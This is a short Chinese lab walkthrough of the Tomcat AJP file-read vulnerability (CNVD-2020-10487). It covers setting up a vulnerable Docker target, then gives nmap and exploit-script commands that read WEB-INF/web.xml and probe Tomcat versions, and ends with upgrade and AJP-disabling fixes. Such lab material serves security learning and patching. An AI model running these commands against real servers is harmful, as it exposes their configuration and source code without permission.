Tomcat在 server.xml
中配置了两种连接器:
Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而Tomcat服务器8009端口上的AJP协议存在漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如:webapp配置文件或源代码等
Tomcat-8.5.32
$ docker search tomcat-8.5
$ docker pull duonghuuphuc/tomcat-8.5.32
http://<靶场IP>:8080
$ docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
$ nmap <靶场IP>
$ python ajpShooter.py http://<靶场IP> 8080 WEB-INF/web.xml read
$ python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py <靶场IP> -p 8009 -f WEB-INF/web.xml
$ python tomcat.py --port <port> version <IP> # 版本探测
$ python tomcat.py read_file --webapp=manager /WEB-INF/web.xml <地址> # 文件读取
更新Tomcat到安全版本
关闭AJP:编辑 Tomcat 配置文件 conf/server.xml
,找到如下行并将其注释,然后保存配置文件并重新启动Tomcat